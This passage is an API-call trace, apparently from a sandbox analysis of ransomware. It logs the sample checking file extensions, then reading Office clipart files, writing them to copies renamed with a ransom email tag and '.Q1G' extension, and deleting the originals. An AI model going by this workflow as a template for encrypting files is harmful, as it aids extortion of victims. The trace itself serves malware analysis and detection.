(lpString=".bz2") returned 4 [0253.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString=".7z") returned 3 [0253.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString=".dbf") returned 4 [0253.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString=".1cd") returned 4 [0253.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString=".jpg") returned 4 [0253.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString=".doc") returned 4 [0253.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString=".docx") returned 5 [0253.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.361] lstrlenW (lpString=".pdf") returned 4 [0253.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString=".xls") returned 4 [0253.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.361] lstrlenW (lpString=".xlsx") returned 5 [0253.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.361] lstrlenW (lpString=".ppt") returned 4 [0253.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.361] lstrlenW (lpString=".zip") returned 4 [0253.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.361] lstrlenW (lpString=".rar") returned 4 [0253.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString=".bz2") returned 4 [0253.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString=".7z") returned 3 [0253.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.361] lstrlenW (lpString=".dbf") returned 4 [0253.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.361] lstrlenW (lpString=".1cd") returned 4 [0253.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.361] lstrlenW (lpString=".jpg") returned 4 [0253.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.361] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.361] lstrlenW (lpString="J0086426.WMF") returned 12 [0253.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.362] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=21782) returned 1 [0253.362] CloseHandle (hObject=0x398) returned 1 [0253.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0253.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.362] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.362] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.363] GetLastError () returned 0x0 [0253.363] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5516, lpOverlapped=0x0) returned 1 [0253.388] WriteFile (in: hFile=0x3ac, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5520, lpOverlapped=0x0) returned 1 [0253.389] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.389] WriteFile (in: hFile=0x3ac, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.389] SetEndOfFile (hFile=0x3ac) returned 1 [0253.389] CloseHandle (hObject=0x3ac) returned 1 [0253.389] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.389] SetEndOfFile (hFile=0x398) returned 1 [0253.391] CloseHandle (hObject=0x398) returned 1 [0253.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0253.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.414] lstrlenW (lpString=".doc") returned 4 [0253.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString=".docx") returned 5 [0253.414] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0253.414] lstrlenW (lpString=".pdf") returned 4 [0253.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString=".xls") returned 4 [0253.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.414] lstrlenW (lpString=".xlsx") returned 5 [0253.414] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0253.414] lstrlenW (lpString=".ppt") returned 4 [0253.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.414] lstrlenW (lpString=".zip") returned 4 [0253.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.414] lstrlenW (lpString=".rar") returned 4 [0253.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString=".bz2") returned 4 [0253.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString=".7z") returned 3 [0253.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.414] lstrlenW (lpString=".dbf") returned 4 [0253.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.414] lstrlenW (lpString=".1cd") returned 4 [0253.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.414] lstrlenW (lpString=".jpg") returned 4 [0253.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.415] lstrlenW (lpString=".doc") returned 4 [0253.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString=".docx") returned 5 [0253.415] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0253.415] lstrlenW (lpString=".pdf") returned 4 [0253.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString=".xls") returned 4 [0253.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.415] lstrlenW (lpString=".xlsx") returned 5 [0253.415] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0253.415] lstrlenW (lpString=".ppt") returned 4 [0253.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.415] lstrlenW (lpString=".zip") returned 4 [0253.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.415] lstrlenW (lpString=".rar") returned 4 [0253.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString=".bz2") returned 4 [0253.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString=".7z") returned 3 [0253.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.415] lstrlenW (lpString=".dbf") returned 4 [0253.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.415] lstrlenW (lpString=".1cd") returned 4 [0253.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0253.415] lstrlenW (lpString=".jpg") returned 4 [0253.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.416] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.416] lstrlenW (lpString="J0086432.WMF") returned 12 [0253.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.419] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=33434) returned 1 [0253.420] CloseHandle (hObject=0x1bc) returned 1 [0253.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0253.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.422] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.422] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.422] GetLastError () returned 0x0 [0253.422] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x829a, lpOverlapped=0x0) returned 1 [0253.424] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x82a0, lpOverlapped=0x0) returned 1 [0253.426] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.426] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.426] SetEndOfFile (hFile=0x1fc) returned 1 [0253.426] CloseHandle (hObject=0x1fc) returned 1 [0253.426] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.426] SetEndOfFile (hFile=0x200) returned 1 [0253.428] CloseHandle (hObject=0x200) returned 1 [0253.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0253.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.431] lstrlenW (lpString=".doc") returned 4 [0253.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.431] lstrlenW (lpString=".docx") returned 5 [0253.431] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0253.431] lstrlenW (lpString=".pdf") returned 4 [0253.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.431] lstrlenW (lpString=".xls") returned 4 [0253.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.431] lstrlenW (lpString=".xlsx") returned 5 [0253.431] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0253.431] lstrlenW (lpString=".ppt") returned 4 [0253.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.431] lstrlenW (lpString=".zip") returned 4 [0253.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.431] lstrlenW (lpString=".rar") returned 4 [0253.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString=".bz2") returned 4 [0253.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString=".7z") returned 3 [0253.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.432] lstrlenW (lpString=".dbf") returned 4 [0253.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.432] lstrlenW (lpString=".1cd") returned 4 [0253.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.432] lstrlenW (lpString=".jpg") returned 4 [0253.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.432] lstrlenW (lpString=".doc") returned 4 [0253.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString=".docx") returned 5 [0253.432] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0253.432] lstrlenW (lpString=".pdf") returned 4 [0253.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString=".xls") returned 4 [0253.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.432] lstrlenW (lpString=".xlsx") returned 5 [0253.432] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0253.432] lstrlenW (lpString=".ppt") returned 4 [0253.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.432] lstrlenW (lpString=".zip") returned 4 [0253.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.432] lstrlenW (lpString=".rar") returned 4 [0253.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString=".bz2") returned 4 [0253.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.432] lstrlenW (lpString=".7z") returned 3 [0253.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.433] lstrlenW (lpString=".dbf") returned 4 [0253.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.433] lstrlenW (lpString=".1cd") returned 4 [0253.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0253.433] lstrlenW (lpString=".jpg") returned 4 [0253.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.433] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.433] lstrlenW (lpString="J0086478.WMF") returned 12 [0253.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.433] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=14174) returned 1 [0253.433] CloseHandle (hObject=0x200) returned 1 [0253.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0253.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.434] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.434] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.435] GetLastError () returned 0x0 [0253.435] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x375e, lpOverlapped=0x0) returned 1 [0253.436] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3760, lpOverlapped=0x0) returned 1 [0253.437] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.437] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.437] SetEndOfFile (hFile=0x1fc) returned 1 [0253.437] CloseHandle (hObject=0x1fc) returned 1 [0253.437] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.437] SetEndOfFile (hFile=0x200) returned 1 [0253.439] CloseHandle (hObject=0x200) returned 1 [0253.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0253.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.440] lstrlenW (lpString=".doc") returned 4 [0253.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.440] lstrlenW (lpString=".docx") returned 5 [0253.440] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0253.440] lstrlenW (lpString=".pdf") returned 4 [0253.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString=".xls") returned 4 [0253.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.441] lstrlenW (lpString=".xlsx") returned 5 [0253.441] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0253.441] lstrlenW (lpString=".ppt") returned 4 [0253.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.441] lstrlenW (lpString=".zip") returned 4 [0253.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.441] lstrlenW (lpString=".rar") returned 4 [0253.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString=".bz2") returned 4 [0253.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString=".7z") returned 3 [0253.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.441] lstrlenW (lpString=".dbf") returned 4 [0253.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.441] lstrlenW (lpString=".1cd") returned 4 [0253.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.441] lstrlenW 